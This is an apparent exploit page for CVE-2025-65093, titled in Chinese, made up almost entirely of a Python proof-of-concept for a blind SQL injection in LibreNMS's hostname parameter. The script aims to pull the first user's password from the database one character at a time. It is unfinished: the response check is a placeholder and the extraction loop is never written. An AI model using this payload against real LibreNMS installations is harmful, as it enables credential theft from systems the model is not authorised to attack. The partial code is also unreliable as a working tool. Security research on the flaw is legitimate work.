CVE-2025-65093 LibreNMS hostname参数SQL注入漏洞

import requests import sys # CVE-2025-65093 PoC - Boolean-based Blind SQL Injection # Target: LibreNMS < 25.11.0 # Endpoint: /ajax_output.php def extract_char(url, session_cookie, position, char_ascii): """Extract a single character from database using boolean-based blind SQLi""" payload = f"' AND (SELECT CASE WHEN (ASCII(SUBSTRING((SELECT password from users limit 1),{position},1))={char_ascii}) THEN 1 ELSE 0 END)--" cookies = {'PHPSESSID': session_cookie} data = {'hostname': payload} try: response = requests.post(url, data=data, cookies=cookies, timeout=10) # Analyze response to determine if condition is true or false if 'expected_response_marker' in response.text: return True except: pass return False def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-65093.py <target_url> <session_cookie>") print("Example: python cve-2025-65093.py http://target.com/ajax_output.php 'abc123'") sys.exit(1) target_url = sys.argv[1] session_cookie = sys.argv[2] print("[*] CVE-2025-65093 - LibreNMS SQL Injection PoC") print(f"[*] Target: {target_url}") print("[*] Extracting admin password...") # Password extraction logic would go here print("[!] This PoC demonstrates the injection technique") print("[*] Modify payload and target based on your testing environment") if __name__ == "__main__": main()